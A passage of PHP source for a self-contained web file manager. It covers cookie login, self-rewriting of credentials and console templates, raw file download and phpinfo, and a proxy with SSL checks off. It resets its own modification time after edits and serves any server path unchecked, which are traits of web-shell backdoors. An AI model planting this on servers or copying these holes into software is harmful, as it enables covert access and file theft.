background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменÑть надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
